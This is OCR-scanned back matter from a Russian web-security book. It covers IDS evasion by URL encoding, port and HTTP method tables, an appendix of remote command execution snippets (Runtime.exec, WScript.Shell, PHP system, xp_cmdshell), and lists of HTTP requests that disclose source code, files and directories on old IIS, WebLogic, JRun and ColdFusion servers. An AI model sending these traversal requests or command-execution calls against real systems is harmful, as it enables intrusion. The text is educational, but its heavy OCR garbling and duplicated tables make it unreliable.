Декодирование адресов URL
Чтобы избежать обнаружения системой IDS можно воспользоваться самым распространенным подходом. Он заключается в изменении строки URL таким образом, чтобы для механизма проверки сигнатур она осталась "незамеченной”. Для того чтобы IDS успешно идентифицировала атаки даже при использовании модифицированных адресов URL, их декодирование необходимо выполнять еще до этапа проверки сигнатур. Такая система позволила бы избежать как ложных предупреждений, так и несрабатывания при наличии описанных выше атак.
Однако с декодированием URL связаны и некоторые недостатки. Для решения этой задачи при достаточно большом размере сетевых пакетов может потребоваться много ресурсов. Кроме того, до начала декодирования строки URL системе IDS потребуется отделить данные прикладного уровня от пакетов.
До тех пор пока IDS, основанные на искусственном интеллекте, не докажут свою эффективность, администраторам по безопасности следует уделять более серьезное внимание непосредственной защите Web-серверов и Web-приложений, выполнять поиск в их журналах признаков необычных или злонамеренных действий, а кроме того, при детектировании атак не полагаться на системы IDS.
Резюме
Наука выявления сетевых атак далека от совершенства. Системы IDS предназначены для уведомления сетевых администраторов о потенциальных вторжениях. Вместе с тем при детектировании всех атак, нацеленных на сеть, полностью полагаться на IDS не следует. В настоящее время многие разработчики предлагают системы, которые позволяют автоматически менять параметры брандмауэра и блокировать передачу в сеть опасных данных. Иногда подобные предложения искажают сам смысл обеспечения безопасности. Для разработки более эффективных решений по обеспечению зашиты требуется дальнейшее усовершенствование систем IDS.
ПРИЛОЖЕНИЕ А
Перечень портов, прослушиваемых серверами баз данных и Web-серверами
В приведенной ниже таблице перечислены порты популярных серверов баз данных и Web-серверов. К этому перечню можно обращаться по мере чтения кннгн.
Перечень портов серверов баз данных и Web-серверов
ПортСервер
66Oracle SQL* Net
Hyper Text TransferProtocol(HTTP)
HTTP Proxy, альтернативный HTTP-порт, Cobalt Server Administration Port
443Secure Socket Layer (SSL)
445Microsoft SQL Server поверх NetBIOS
457 UnixWare/Netscape FastTrack Server
1080SOCKS Proxy
1100Oracle WebCache Listener
1241KaZaA Hie Sharing Server (HTTP-подобный протокол)
1352Stus Domino (Notes)
1433 Microsoft SQL Seiver 2000
1434 Microsoft SQL Server 2000 поверх TCP/IP Redirector
1521-1530 Oracle
1944 Microsoft SQL Seiver 7
2301Compaq Insight Manager, Compaq Survey Utility
HTTP Proxy (Squid, NetCache и т.д.)
3306mySQL
4000Oracle WebCacheListener
4001Oracle WebCache Listener
4002Oracle WebCacheListener
4100Sybase 11.0(c 叩о「раммным обеспечением jConnect)
5000Sybase 12.x
5432PostgreSQL
5800VNC HTTP Console Port # 1
5801VNC HTTP Console Port #2
5802VNC HTTP Console Port #3
634€Gnutella (HTTP-подобный протокол)
6347 Gnutella (НЛР-подобный протокол)
7001BEAWebLogic
7002BEAWebLogic
8000 HTTP Proxy, альтернативный HTTP-порт, HP Web JetAdmin Version 6.0
8001BEAV饱 bLogic
8005 Apache Tomcat Administration Seiver (не НТТР-протокол)
8080HTTP Proxy, альтернативный НТТР-порт
8888HTTP Proxy, альтернативный НТТР-порт
30821 Netscape Enterprise Server Administration Server
ПРИЛОЖЕНИЕ Б
Методы и определения полей протоколов НИР/VI и НПР/1.0
В приведенных ниже таблицах содержится практически полный перечень методов и полей заголовков стандартных запросов и ответов протоколов НТТР/1.1 и НТТР/1.0.
Таблица Б.1 Методы и определения полей протокола НТТР/1.1
Метод ЗапросОпределение
GET GET <иН1-запроса>?стрма^запросаНТТР/1Л\г\пHost: зшцо/и или 1Р-адрес>\г\п \г\пGET GET <иН1-запроса>?стрма^запросаНТТР/1Л\г\пHost: зшцо/и или 1Р-адрес>\г\п \г\пPOST POST <№зарроса> HTTP/l.l\r\n Host: <*m/₽jg/w или 1Р-адрес>\г\п Content-Length: <длина в байтах>\г\п Content-Type: <гил садержимого>\r\n \r\n<crpoKajanpoca или другие данные для передачи по запросу>HEAD HEAD <URI-3anpoca> 8TTP/l.l\r\n Host: <юм_узла или /Р-адрес>\г\п \г\пPOST POST <№зарроса> HTTP/l.l\r\n Host: <*m/₽jg/w или 1Р-адрес>\г\п Content-Length: <длина в байтах>\г\п Content-Type: <гил садержимого>\r\n \r\n<crpoKajanpoca или другие данные для передачи по запросу>HEAD HEAD <URI-3anpoca> 8TTP/l.l\r\n Host: <юм_узла или /Р-адрес>\г\п \г\пPUT PUT <URb3anpoca> НТТР/1.l\r\nHost: 5ия」зла или 1Р-адрес>\г\пContent-Length: <д/шна 6 байтах>\г\п Content-Type: <гил соаержимого>\г\п \г\п<данныедля размещения 8 файле>OPTIONS OPTIONS <URI-3anpoca> НТТР/1. l\r\nHost: <имя_узла или /Р-адрес>\г\п \r\nPUT PUT <URb3anpoca> НТТР/1.l\r\nHost: 5ия」зла или 1Р-адрес>\г\пContent-Length: <д/шна 6 байтах>\г\п Content-Type: <гил соаержимого>\г\п \г\п<данныедля размещения 8 файле>OPTIONS OPTIONS <URI-3anpoca> НТТР/1. l\r\nHost: <имя_узла или /Р-адрес>\г\п \r\nМетод GET используется для извлечения любых данных, которые хранятся или генерируются ресурсом, определяемым идентификатором URI- запроса (Uniform Resource Identifier — универсальный идентификатор ресурса). Этот метод используется для получения файлов, запуска серв叩Hbix сценариев или взаимодействия с серверными CGI-программам и др. Если в HTML- форме указан метод передачи GET, то параметры формы передаются НЛР-серверу в стро- ке^запроса GET-за叩осаМетод POST используется для передачи данных ресурсу, определяемому идентификатором 08/- запроса Обычно таким ресурсом является серверный сцен叩ий либо CGI-программа предназначенная для обработки данных формы. Если при передаче данных HTML-формы используется метод POST, то эти данные передаются НТТР- серверу в теле запроса POSTМетод HEAD аналогичен методу GET за исключением того, что в ответе сервера HTTP не содержится тела. Метаинформация, содержащаяся в HTTP-заголовке ответа на запрос HEAD, должна быть идентична информации, передаваемой в ответ на запрос GET. Метод HEAD можно использовать для получения метаинформации о необходимом объекте. Обычно этот метод используется для тестирования гиперссылок на корректность, доступность и последние изменения (RFC 2616 раздел 9.4)Метод PUT позволяет отправлять данные на HTTP-сервер и сохранять их по адресу, задаваемому идентификатором URI-запросаМетод GET используется для извлечения любых данных, которые хранятся или генерируются ресурсом, определяемым идентификатором URI- запроса (Uniform Resource Identifier — универсальный идентификатор ресурса). Этот метод используется для получения файлов, запуска серв叩Hbix сценариев или взаимодействия с серверными CGI-программам и др. Если в HTML- форме указан метод передачи GET, то параметры формы передаются НЛР-серверу в стро- ке^запроса GET-за叩осаМетод POST используется для передачи данных ресурсу, определяемому идентификатором 08/- запроса Обычно таким ресурсом является серверный сцен叩ий либо CGI-программа предназначенная для обработки данных формы. Если при передаче данных HTML-формы используется метод POST, то эти данные передаются НТТР- серверу в теле запроса POSTМетод HEAD аналогичен методу GET за исключением того, что в ответе сервера HTTP не содержится тела. Метаинформация, содержащаяся в HTTP-заголовке ответа на запрос HEAD, должна быть идентична информации, передаваемой в ответ на запрос GET. Метод HEAD можно использовать для получения метаинформации о необходимом объекте. Обычно этот метод используется для тестирования гиперссылок на корректность, доступность и последние изменения (RFC 2616 раздел 9.4)Метод PUT позволяет отправлять данные на HTTP-сервер и сохранять их по адресу, задаваемому идентификатором URI-запросаМетод OPTIONS позволяет полнить информацию о параметрах связи, которые можно использовать при обмене запросами/ответами с ресурсом, определяемым идентификатором URI- запроса (RFC 2616, раздел 9.2)Метод OPTIONS позволяет полнить информацию о параметрах связи, которые можно использовать при обмене запросами/ответами с ресурсом, определяемым идентификатором URI- запроса (RFC 2616, раздел 9.2)
GET GET <иН1-запроса>?стрма^запроса
НТТР/1Л\г\п
Host: зшцо/и или 1Р-адрес>\г\п \г\п
GET GET <иН1-запроса>?стрма^запроса
НТТР/1Л\г\п
Host: зшцо/и или 1Р-адрес>\г\п \г\п
POST POST <№зарроса> HTTP/l.l\r\n Host: <*m/₽jg/w или 1Р-адрес>\г\п Content-Length: <длина в байтах>\г\п Content-Type: <гил садержимого>\r\n \r\n
<crpoKajanpoca или другие данные для передачи по запросу>
HEAD HEAD <URI-3anpoca> 8TTP/l.l\r\n Host: <юм_узла или /Р-адрес>\г\п \г\п
POST POST <№зарроса> HTTP/l.l\r\n Host: <*m/₽jg/w или 1Р-адрес>\г\п Content-Length: <длина в байтах>\г\п Content-Type: <гил садержимого>\r\n \r\n
<crpoKajanpoca или другие данные для передачи по запросу>
HEAD HEAD <URI-3anpoca> 8TTP/l.l\r\n Host: <юм_узла или /Р-адрес>\г\п \г\п
PUT PUT <URb3anpoca> НТТР/1.l\r\n
Host: 5ия」зла или 1Р-адрес>\г\п
Content-Length: <д/шна 6 байтах>\г\п Content-Type: <гил соаержимого>\г\п \г\п
<данныедля размещения 8 файле>
OPTIONS OPTIONS <URI-3anpoca> НТТР/1. l\r\n
Host: <имя_узла или /Р-адрес>\г\п \r\n
PUT PUT <URb3anpoca> НТТР/1.l\r\n
Host: 5ия」зла или 1Р-адрес>\г\п
Content-Length: <д/шна 6 байтах>\г\п Content-Type: <гил соаержимого>\г\п \г\п
<данныедля размещения 8 файле>
OPTIONS OPTIONS <URI-3anpoca> НТТР/1. l\r\n
Host: <имя_узла или /Р-адрес>\г\п \r\n
Метод GET используется для извлечения любых данных, которые хранятся или генерируются ресурсом, определяемым идентификатором URI- запроса (Uniform Resource Identifier — универсальный идентификатор ресурса). Этот метод используется для получения файлов, запуска серв叩Hbix сценариев или взаимодействия с серверными CGI-программам и др. Если в HTML- форме указан метод передачи GET, то параметры формы передаются НЛР-серверу в стро- ке^запроса GET-за叩оса
Метод POST используется для передачи данных ресурсу, определяемому идентификатором 08/- запроса Обычно таким ресурсом является серверный сцен叩ий либо CGI-программа предназначенная для обработки данных формы. Если при передаче данных HTML-формы используется метод POST, то эти данные передаются НТТР- серверу в теле запроса POST
Метод HEAD аналогичен методу GET за исключением того, что в ответе сервера HTTP не содержится тела. Метаинформация, содержащаяся в HTTP-заголовке ответа на запрос HEAD, должна быть идентична информации, передаваемой в ответ на запрос GET. Метод HEAD можно использовать для получения метаинформации о необходимом объекте. Обычно этот метод используется для тестирования гиперссылок на корректность, доступность и последние изменения (RFC 2616 раздел 9.4)
Метод PUT позволяет отправлять данные на HTTP-сервер и сохранять их по адресу, задаваемому идентификатором URI-запроса
Метод GET используется для извлечения любых данных, которые хранятся или генерируются ресурсом, определяемым идентификатором URI- запроса (Uniform Resource Identifier — универсальный идентификатор ресурса). Этот метод используется для получения файлов, запуска серв叩Hbix сценариев или взаимодействия с серверными CGI-программам и др. Если в HTML- форме указан метод передачи GET, то параметры формы передаются НЛР-серверу в стро- ке^запроса GET-за叩оса
Метод POST используется для передачи данных ресурсу, определяемому идентификатором 08/- запроса Обычно таким ресурсом является серверный сцен叩ий либо CGI-программа предназначенная для обработки данных формы. Если при передаче данных HTML-формы используется метод POST, то эти данные передаются НТТР- серверу в теле запроса POST
Метод HEAD аналогичен методу GET за исключением того, что в ответе сервера HTTP не содержится тела. Метаинформация, содержащаяся в HTTP-заголовке ответа на запрос HEAD, должна быть идентична информации, передаваемой в ответ на запрос GET. Метод HEAD можно использовать для получения метаинформации о необходимом объекте. Обычно этот метод используется для тестирования гиперссылок на корректность, доступность и последние изменения (RFC 2616 раздел 9.4)
Метод PUT позволяет отправлять данные на HTTP-сервер и сохранять их по адресу, задаваемому идентификатором URI-запроса
Метод OPTIONS позволяет полнить информацию о параметрах связи, которые можно использовать при обмене запросами/ответами с ресурсом, определяемым идентификатором URI- запроса (RFC 2616, раздел 9.2)
Метод OPTIONS позволяет полнить информацию о параметрах связи, которые можно использовать при обмене запросами/ответами с ресурсом, определяемым идентификатором URI- запроса (RFC 2616, раздел 9.2)
Окончание табл, £・1
Метод
Запрос
Определение
DELETE
DELETE <UPI-3anpoca> НТТР/1. l\r\n Host: CMMWJM8 или /Р-адрес>\г\п \r\n
Метод DELETE позволяет удалить на целевом сервере ресурс, который определяется идентификатором URI ^запроса (R FC 2616, раздел 9.7)
TRACE
TRACE <и№запроса>KTTP/l.l\r\n Host: <MMffj3/M или /Р-ддрес>\г\п \r\n
Метод TRACE используется для инициирования на прикладном уровне удаленной обратной связи... С помощью этого метода клиент может определить, какие данные были получены на другом конце соединения. Полученные сведения можно использовать для тестирования и диагностики (RFC 2616| раздел 9.8)
CONNECT
CONNECT <UR/-aanpoca> HTTP/1. l\r\n
Host: cmmwjo/m или 炉•岬ec>\r\n \r\n
Метод CONNECT позволяет установить ргоху- соединение с ресурсом, который задан идентификатором URI-запроса
Таблица Б.2 Методы и определения полей протокола НТТР/1.0
Метод
Запрос
Определение
GET
GET <иЯ1-запроса>?строка_запроса
HTTP/1.0\r\n
\г\п
Метод GET используется для извлечения любых данных, которые хранятся или генерируются ресурсом, определяемым идентификатором Ш-залроса (Uniform Resource Identifier — универсальный идентификатор ресурса). Этот метод используется для получения файлов, запуска серверных сценариев или взаимодействия с серверными CGi-программам и др. Если в HTML-форме указан метод передачи GET, то параметры формы передаются НТТР- серверу в строке janpoca GET-sanpoca
POST
POST <URI-3anpoca> HTTP/1.0\r\n Content-Length: <дтма в байтах>\г\п Content-Type: <mun содержимого〉gn \r\n
<строка^запроса шмдругие данные для 〃叩e〃a恤 по запросу>
Метод POST используется для передачи данных ресурсу, определяемому идентификатором URL запроса Обычно таким ресурсом является серверный сценарий либо CGI-программ прадазначен- ная для обработки данных формы. Если при передаче данных HTML-формы используется метод POST, то эти данные передаются HTTP-серверу в теле запроса POST
HEAD
HEAD <UfV-3anpoc> НТТР/1.0\r\n \r\n
Метод HEAD аналогичен методу GET за исключением того, что в ответе сервера HTTP 1.1 не содержится тела, Метаинформация, содержащаяся в HTTP-заголовке ответа на запрос HEAD, должна быть идентична информации, передаваемой в ответ на запрос GET. Метод HEAD можно использовать для получения метаинформации о необходимом объекте. Обычно этот метод используется для тестирования гиперссылок на корректность, доступность и последние изменения (RFC 2616, раздел 9.4)
Таблица Б.З. Неопределенные методы протокола НТТР/1.0,как описано в приложении D документа RFC 1945
Метод
Запрос
Определение
PUT
Формат сообщения РИГ в документе RFC 1945 не определен. На практике обычно используется тот же формат, что и для HTTP 1.1
Метод PUT позволяет отправлять данные НТТР- серверу и сохранять их по адресу URI-запроса
DELETE
Формат сообщения DELETE в документе RFC 1945 не определен. На практике обычно используется тот же формат, что и для HTTP 1.1
Метод DELETE позволяет удалить на целевом сервере ресурс, определяемый ццентфи^тором URI- запроса (RFC 1945, приложение D.1, раздел DJ .2)
UNK
Формат сообщения LINK в документе
RFC 1945 не определен и не поддерживается большинством/всеми реализациями
НИР 1.0
Метод LINK позволяет установить одну или несколько связей между ресурсом, определяемым идентификатором URI-запроса, и другими существующими ресурсами (RFC 1945, приложение D.1 раздел D.1.3)
UNLINK
Формат сообщения UNUNK в документе RFC 1945 не определен и не поддерживается большинством или всеми реализа- 1Д1ями HTTP 1.0
Метод UNLINK позволяет удалить одну или несколько связей между ресурсом, определяемым кдеятм* фикатором URI-запроса, и другими ресурсами (RFC 1945, приложение DJ, раздел D 1.4)
ПРИЛОЖЕНИЕ В
Удаленное выполнение команд
В приведенной таблице содержится перечень полезных приемов, которые можно использовать для удаленного выполнения команд.
Удаленное выполнение команд
Среда Web- приложения
Исходный кодДополнительная информация
Java Servlet
class Examplehttp://java.iun.com/j2se/1.4Z
extends BTTPServktdocs/api/java/lang/Runtime .htnl
void function!)
Runtime raRuntiM.9«tRuntine();
Process p・r・tx8(*<xwmra>", QprymmP);
}
Java Server
Pages (JSP)
chttp://java.sun.con/j28e/1.4/
Runtime r*Runtim.getRimtine();docs/api/java/lang/Runti»e.htBl
Process p*r.ехес(#<голшша>ж# <аргуивт>}; t>
Active Server Pages (ASP)
В целевой системе должны быть установленыhttp: / /msdn.microsoft .com/
средства Windows Scripting Hostlibrary/default.asp?url>/library/
< qen-us / script56 /htnl/wsMthRun ・ asp
Set
vsh・Server ・ CreateObject ("ИзстхрС. shell*) vsh. run ( *<хоиаад«>"|;
\>
PERL
В языке Perl команды размещаются междуhttp: / /vww♦ perldoc. com/per 15.6/
символами ':pod/perlfunc.htnl
$resulte,<хомаяда>*;
или
”§{*( ・<тМЯД.>,;
ИЛИ
op・n(IH, 4*<хакавда>*);
PHP
<? System( "<комалда>") ?>http: //www.php.net/manual/en/
function.shell-exec・ php ИЛИl r
<? Shell_exec{и<комамдл>п)?>
MS SQL
EXEC nuUr..xpKcndihell><rairoff4>1'
ПРИЛОЖЕНИЕ Г
Раскрытие исходно「о кода» файлов и каталогов
В этом приложении содержится перечень основных известных приемов раскрытия исходного кода. Многие из них связаны с конкретными ошибками в определенных версиях профаммного обеспечения. Другие можно использовать на нескольких платформах. Часть перечисленных изъянов проявляется снова и снова вопреки всем заверениям разработчиков.
Раскрытие исходного кода, файлов и каталогов
Уязвимое приложение
HTTP-запрос
Информация об изъяне
Allaire ColdFusion
GET /CFDOCS/snippets /vievexasple. cf в? viewexajnple.cfn Tagname*<относятельями путь к Е^йл/> НТТР/1.0
http://www.securityfocus・ сов/bid/115
Allaire JRun, альтернативный поток данных
GET/file. jsp::$DATAHTTP/1.0
http://www.securityfocus.com/bid/3664
Allaire JRun, серверные включения
GET /file HTTP/1.0 .
Content Length: <длинна имени файла + 28>
<!—linclude virtue 1=*<ямя фаяла>м—>
http: //www. securityfocus, coa/bid/3 5 8 9
Apache Tomcat, 170
1.GET /file.jsl70 HTTP/1.0
2. GET /file!252ej8p HTTP/1.0
http://www.securityfocus.com/bid/2527
BEAWebLogic, расширения файла с символами разных регистров
GET/file.JSP HTTP/1.0
GET Zfile.jsPHTTP/1.0
GET /file.JspHTTP/1.0
http://www.securityfocus.com/bid/1328
BEAWebLogic 5.1, 170
GET Zfile.jsl70 HTTP/1.0
http: / / ww ・ security focu«. con/bid/2527
BEAWebLogic, FileServlet
GET /Consoleflelp/file. jsp HTTP/1.0
http://www. securityfocus. com/bid/1518
BEA WebLogic, /file/
GET /file/file.jsp HTTP/1.0
http://www.securityfocus.com/bid/1378
BEAWebLogic, Z*.8htal/
GET /*.shtml /file.jsp HTTP/1.0
http://www.securityfocus.com/bid/1517
IBM WebSphere, расширение файла с символами разных регистров
GET /file.JSP HTTP/1.0
GET /file.jsP HTTP/1.0
GET /file.jsp HTTP/1.0
http://www.securityfocus.com/bid/1328
IBM WebSphere, /servlet/file/
GET /8ervlet/file//filejsp HTTP/1.0
http://www.securityfocus.coa/bid/1500
Microsoft ISS 4.0 + файловая система FAT
GET /file.lE2173t70 HTTP/1.0
http://www・ securityfocus.coa/bid/2909
Microsoft ISS 4.0, альтернативный поток
GET /file::?DA7A HTTP/1.0
http://www・ securityfocus・ co®/bid/149
данных
Microsoft ISS. +.htr
GET /file.asp+.htr HTTP/1.0
http://www.securityfocus.com/bid/1488
Microsoft ISS, Translate: f
GET /file.asp HTTP/1.0 Translate: f
http://ww ・ securityfocus ・ com/bid/1578
Microsoft ISS 3.0, I2e
GET /filet2easp HTTP/1.0
http://www.securityfocus.com/bid/1814
Microsoft ISS 2.0/3.0, добавление символа .
GET /file.asp. HTTP/1.0
GET /file.pl HTTP/1.0
GET /file.aspl2eHTTP/1.0
GET/file.pll2e HTTP/1.0
http://www.securityfocus・ con/bid/2074
Oracle, _pages/
GET /_pages/ HTTP/1.0
http: / / ww. secur ity focus .cam/bid/
Sun Java Web Server, .jhtml
1.GET /file.jhtal. HTTP/1.0
2. GET /file.jhtal\ HTTP/1.0
http://www.securityfocus•con/bid/1891
Раскрытие файлов
Уязвимое приложение
HTTP-запрос
Информация об изъяне
Allaire ColdFusion Server, exprcalc.cfm
GET Zcf docs/expeval/ExprCalc. cfB?OpenFile Path二 c:\file HTTP/1.0
http s //ww. securityfocus. cam/bid/115
Allaire ColdFusion, openf ile.cfm
GET /cfdocs/expeval/openfile.cfm ?????????? HTTP/ 1.0
http://www.securityfocus.coa/bid/115
Allaire ColdFUsion, soarcevindow. cfin
GET /cfdocs/exairpleapp/docs/sou rcevindow.cfjn?
Template9../../file HTTP/1.0
http: / /ww. securityfocus. сои/bid/115
Allaire Jrun, /servlet/
1.GET /servlet/ssiservlet/../../file HTTP/1.0
2. GET /servlet/сои.livesoftware. jrun plugins.ssi.SSIFilter/.•/../file HTTP/1.0
http://www.securityfocus.com/bid/1833
Apache Web Server + PHP.EXE для Win32
GET /php/php.exe?c:\file HTTP/1J
http://www. securityfocus.com/bid/3786
Apache Web Server, + PHP3
GET /file.php3.l5c../..15с<отяоситвл^я«й путь к файлу> HTTP/1.0
http;//ww. securityfocus ・ com/bid/2060
Microsoft IIS, изъян Unicode
1. GET /scripts/. .Iclllc../«относительный путь к
http: / /ww. securityfocus, coe/bid/1806
Microsoft IIS, двойное декодирование
фаАпу> HTTF/1.0
GET /scripts/.. Ic019v. • /<отиосительны^ путь к фадлу> HTTP/1.0
GET /scripts/..IcOlaf../<О7восятвлыпг^ путь к
файлу> НТТР/1.0
GET /scripts/. Л255с. Л255с<опюс1тль0ый путь к
http: //www. securityfocus. com/bid/270 8
Microsoft IIS, 120.htr
файлу> НТГР/1.0
GET Zfilel20( и%20мповторяется230раз).
http s//ww. securityfocus ・ coa/bid/1191
Microsoft IIS, idq. dll
htr нттр/1.0
GET /query. 1<1я?С1Теир1а1ев<огиосятельян# путь к
http://vw. securityfocus ・ can/bid/968
Microsoft IIS, shovcode. asp
依冊 НТТР/1.0
GET /msadc/Sainples/SELECTOR/showcode.aspTsource®/
http://www.securityfocus.com/bid/167
Microsoft IIS, codebrvs.asp
nsadc/Sables/<отвосятельный путь к фаЛту> НТТР/1.0 GET /iissanplesZexair/howitworks/codebrvs・asp?
http s//vww. securityfocus • ccm/bid/167
Microsoft IIS, viewcode. asp
зо\1гс^<отвосктелькиЛ путь к файлу> НТТР/1.0
1. GET /Sites/Knovledge/Nenbership/Inspired/
http://support. nicrosoft ・ сои/directory/
VievCode. авр?8оигсег<отсюсятелыгмЛ1 дуть к фш9ду>
article. asp?II>KB; EH-US ;Q231656s
Netscape Enterprise Server, 120
НТГР/1.0
GET /Sites/Knowledge/Membership/ Inspiredtutorial/VievCode ・ asp?source*
<отиосителъвый путь к фаАяр НТТР/1.0
GET /Sites/Sairples/Knowledge/ Membership/
Inspired/VievCode.asp? aources<отиосятелмм путь
к ®i射 НТТР/1.0
GET /filel20 НТТР/1.0
http://ww. secarityfocus. con/bid/2 7 3
Netscape Enterprise Server, /publisher
GET /publisher HTTP/1.0
http: / /www. securityfocus. com/bid/2416
Netscape Enteipise Server Win32, имена
Обычный защ)ос:
http://www.securityfocus.com/bid/584
файлов 8.3
GET /directory/ HTTP/1.0
Злоумышленный зац)ос: GET /direcfl/HTTP/1.0
Раскрытие каталоговУязвимое приложениеAllaire JRun, //КЕВ-INF/Allaire Jrun, I3fApache Web Server + Mac OS, . DS_StoreApache Web ServerApache Web Server, много символов /Apache Web Server, /cgi-bin/test-cgiBEAWeblogRC. /100/Microsoft IIS 5.0, WebDAVРаскрытие каталоговУязвимое приложениеAllaire JRun, //КЕВ-INF/Allaire Jrun, I3fApache Web Server + Mac OS, . DS_StoreApache Web ServerApache Web Server, много символов /Apache Web Server, /cgi-bin/test-cgiBEAWeblogRC. /100/Microsoft IIS 5.0, WebDAV
Раскрытие каталогов
Уязвимое приложение
Allaire JRun, //КЕВ-INF/
Allaire Jrun, I3f
Apache Web Server + Mac OS, . DS_Store
Apache Web Server
Apache Web Server, много символов /
Apache Web Server, /cgi-bin/test-cgi
BEAWeblogRC. /100/
Microsoft IIS 5.0, WebDAV
Раскрытие каталогов
Уязвимое приложение
Allaire JRun, //КЕВ-INF/
Allaire Jrun, I3f
Apache Web Server + Mac OS, . DS_Store
Apache Web Server
Apache Web Server, много символов /
Apache Web Server, /cgi-bin/test-cgi
BEAWeblogRC. /100/
Microsoft IIS 5.0, WebDAV
НТТР-залрос
GET //WEB-INF/ HTTP/1.0
GET /I3f. jsp НГГР/1.0
.GET /. DS_Store HTTP/1.0
. GET /.FBCIndex HTTP/1.0
.GET /?M=A HTTP/1.0
. GET /?S=D HTTP/1.0
GET <zwn 1 加 4096 символов 7b HTTP/i.o
GET /cgi-bin/test-cgi?/* HTTP/1.0
get /cgi-bin/test-cgi?* http/1.0
GET /100/ HTTP/1.0
GET /12е/ HTTP/1.0
GET /t2f/ HTTP/1.0
GET /15с/ HTTP/1.0
SEARCH /ВТТР/1.1
Host: <имяузла или IP-адрео
Content-Type: text/xal
Content-Length: 133
<?xb1 version・"l・0"”
<g:searchrequest xmlns:gs*DAVj*>
<g:sql>
Select "DAVxdisplaynaBe" from scope))
</g:sql>
</g:searchrequest>
Информацияоб изъяне
http: / /www. securityf ocus .сов/bid/36 6 2 http:〃www ・ securityfocus.сов/bid/3592 http://wtftf. securityf ocus. ccn/bid/3316
http: //ww. securityf ocus. com/bid/3009
http://vw.securityfocus.coB/bid/2503 http; //www. securityf ocus .com/bid/ 2003
http://wv. securityfocus ♦ coa/bid/2513
http://ww. securityfocus. com/bid/17 5 6
Окончание таблицы
Microsoft IIS 3.0/4.0, BDIR.BTR
Netscape Enterprise Server, INDEX
Netscape Enterprise Server,
Z?wp-cs-dump
GET/scripts/ iisadmin/ bdir. htr ? ?<НТТР/1.0http! / / www. secur ityfocus. com/bid/ 2280
INDEX /HTTP/1.0http://wtfv.secarityfocus.coai/bid/2285
1.GET/?vp-cs-du»p HTTP/1.0http://ww.securityfocus.coe/bid/1063
2. GET /?wp-ver-info H"P,'l』 3. GET /?wp-ht«il-rend HTTP/1.0
Oracle Internet Application Server, /WebDB/admin_/
Oracle 9i Application Server, mod_plsql
GET /WebDB/adain_Z HTTP/1.0http://www.securityfocu8.coB/bid/2171
GET /pls/sasple/adjnin /help/.. 1255с<относительный http://www.securityfоcus.com/bid/3727
путь к фа自лу> ЙТГР/1. С
ПРИЛОЖЕНИЕ Д
Рссурсь: И ССЫПКИ
Здесь приведен краткий перечень важных ресурсов и соответствую ши х ссылок. Из этих источников можно получить самую последнюю информацию по вопросам обеспечения безопасности в Web.
Ресурсы и ссылки
РесурсАдрес URL
Packetstorm Securityhttp://wwv.packetstoriMecurity.org
Security Focushttp: //www. securityfcxrus * com
Sccuriteamhttp: / / ww. Secaritean. con
New Orderhttp://neworder.box.sk
Computer Emergency Response Team (CERT) http: //www.cert.org
Rain Forest Puppy 二:tp:〃vw・*iretrip・net/rfp?:
ПРИЛОЖЕНИЕ E
Средства оценки
Web-приложений
Для оценки Web - приложений можно использовать следующие средства.
Средства оценки Web-приложеиий
Название
Адрес URL
Описание
SuperS сап от компании Foundstone
http://ww.
foundstone.con
Популярная утилита сканирования ТСР-портов и IP-адресов для платформы Windows компании Microsoft
FScan от компании Foundstone
http:〃 vww・ foundstone.con
Популярная утилита-сканер портов из командной строки для системы Windows компании Microsoft
Whisker
http://www.wiretrip.
net/rfp/
Популярная программа поиска изъянов
HTTP/Wcb, написанная на языке PERL
Scanner от компании Stealth
https/Zwww.nstalker. com/stealth/
Популярная утилита- сканер изъянов
HTTP/Web, разработанная для платформы Microsoft Windows. Позволяет проверить наличие 18 000 изъянов
Nessus
Scanner
http://www.nessus.org Популярная и свободно распространяемая программа для системы UNIX (модуль сканирования) и Microsoft Windows (только пользовательский интерфейс), в которой для сканирования используется распределенная архитектура. Позволяет проверить наличие около 900 изъянов
Cerberus Scanner
http; Z/ww.cerberus- infosec.co.uk
Свободно распространяемая программа сканирования для платформы Windows. Позволяет проверить наличие множества известных изъянов Web, а также систем Microsoft Windows, UNIX и баз данных
Typhon I
Scanner
http://ww.
nextgenss.com
Свободно распространяемая программа сканирования для платформы Windows. Позволяет проверить наличие множества широко распространенных изъянов Web, а также систем Windows, UNIX и баз данных
Nmap
http://www ・ insecure• огд/пшар/
Возможно, одна из самых популярных утилит прослушивания и сканирования сети, которая позволяет идентифицировать также ТСР- и UDP-службы. Этой утилитой подцерживает- ся несколько типов сканирования, а кроме того, предоставляется и много дополнительных функций, в том числе возможность удаленной идентификации операционной системы и служб RPC
Предметный указатель
А
Access Control List (ACL), 67; 269
Active Server Page, 40, 120
ActivePerl, 238
ActiveX, 32; 43; 192
Apache, 37; 5^. 219
виртуальный узел, 60
директива
ScriptAlias, 63
серверные включения, 62
ASP, 40, 225
ATG Dynamo Application Server, 155
В
Base64, 207
Bugtraq, бюллетень, 306
c
Carello, 95
Carnegie-Mellon Emergency Response Team (CERT), 302
CFML, 38
CGI, 44; 62, 121
сценарий, 256
CLS1D, 43
CNAME, 60
Code Red, 65; 125; 328
ColdFusion, 38
ColdFusion Markup Language, 38
COM, 43
Common Gateway Interface, 34; 44; 62; 121
Component Object Model (COM), 3収 43
Cookie, /72; 191; 276; 283; 286; 310, 314;
316
временные, 314
постоянные, 315
Crawler, 181
Crawling, 181
D
Data Source Name, 41; 152
DCShop, 95
Denial of Service, 84; 244
DHTML, 32Discover DeskShop, приложение, 99Discover, кредитная карточка, 99Document Type Definition, 32DoS, 84; 328DSN, 41; 152DTD, 32Dual-homed system, 206Dynamic Shared Object, 144EE-commerce, 223Enterprise Manager, 74E-shoplifting, 223extensible Markup Language, 32DHTML, 32Discover DeskShop, приложение, 99Discover, кредитная карточка, 99Document Type Definition, 32DoS, 84; 328DSN, 41; 152DTD, 32Dual-homed system, 206Dynamic Shared Object, 144EE-commerce, 223Enterprise Manager, 74E-shoplifting, 223extensible Markup Language, 32False positive, 335Flash, технология, 226Front-end Web server, 141FrontPage, 66GGNU, лицензия, 173Google, 235HHandler, 261forcing, 261Header field, 10% 113Heap spraying, 327HTML, 29дескрипторы, 30 динамический, 32 комментарий, 166 форма, 129HTML Validation Service, 30HTTP, 107, 777запрос, 109ответ, 109управление сеансами, 283НТТР/1.0, /0^352методы, 109False positive, 335Flash, технология, 226Front-end Web server, 141FrontPage, 66GGNU, лицензия, 173Google, 235HHandler, 261forcing, 261Header field, 10% 113Heap spraying, 327HTML, 29дескрипторы, 30 динамический, 32 комментарий, 166 форма, 129HTML Validation Service, 30HTTP, 107, 777запрос, 109ответ, 109управление сеансами, 